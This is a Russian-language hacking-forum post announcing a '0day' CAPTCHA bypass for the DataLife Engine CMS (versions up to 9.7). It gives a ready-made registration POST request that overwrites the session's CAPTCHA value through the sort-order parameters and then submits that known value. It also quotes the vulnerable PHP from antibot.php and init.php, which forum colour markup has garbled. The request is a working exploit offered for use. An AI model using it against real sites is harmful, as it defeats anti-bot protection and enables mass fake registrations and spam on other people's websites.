Показать сообщение отдельно

  #272  
Старый 18.11.2012, 08:03
SecondLife
Новичок
Регистрация: 08.05.2011
Сообщений: 29
Провел на форуме:
5997

Репутация: 21
По умолчанию

DLE 0day Captcha bypass

Обходим стандартную каптчу на последних версиях скрипта (в т.ч. 9.7)

на примере регистрации

Код:
POST /?do=register

dle_rules_accept=yes

set_direction_sort=1
dledirection=desc
set_new_sort=sec_code_session
dlenewssortby=date
sec_code=date

name=name
email=email@example.com
password1=pass
password2=pass

submit_reg=register
PoC

Стандартный генератор каптчи записывает значение секретного кода в сессию:

engine/modules/antibot.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]genrandomimage[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]genstring[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'sec_code_session'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]keystring[/COLOR][COLOR="#007700"];[/COLOR][/COLOR
А в файле engine/init.php есть код определения порядка сортировки:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset ([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'set_new_sort'[/COLOR][COLOR="#007700"]] ) and[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'allow_change_sort'[/COLOR][COLOR="#007700"]]) {



[/COLOR][COLOR="#0000BB"]$allowed_sort[/COLOR][COLOR="#007700"]= array (

[/
COLOR][COLOR="#DD0000"]'date'[/COLOR][COLOR="#007700"],

[/COLOR][COLOR="#DD0000"]'rating'[/COLOR][COLOR="#007700"],

[/COLOR][COLOR="#DD0000"]'news_read'[/COLOR][COLOR="#007700"],

[/COLOR][COLOR="#DD0000"]'comm_num'[/COLOR][COLOR="#007700"],

[/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"]);



[/COLOR][COLOR="#0000BB"]$find_sort[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"."[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]totranslit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'set_new_sort'[/COLOR][COLOR="#007700"]] ) );

[/
COLOR][COLOR="#0000BB"]$direction_sort[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"."[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]totranslit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'set_direction_sort'[/COLOR][COLOR="#007700"]] ) );



if
([/COLOR][COLOR="#0000BB"]in_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dlenewssortby'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$allowed_sort[/COLOR][COLOR="#007700"])) {



if
([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dledirection'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]"desc"[/COLOR][COLOR="#007700"]or[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dledirection'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]"asc"[/COLOR][COLOR="#007700"]) {



[/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$find_sort[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dlenewssortby'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$direction_sort[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dledirection'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dle_no_cache'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#DD0000"]"1"[/COLOR][COLOR="#007700"];



}



}

}[/
COLOR][/COLOR
он позволяет записать одно из фиксированных значение в произвольное поле сессии.

Подставляем одно из возможных значение в поле sec_code_session и передаем его же вместо кода проверки

(c) SecondLife
 
Ответить с цитированием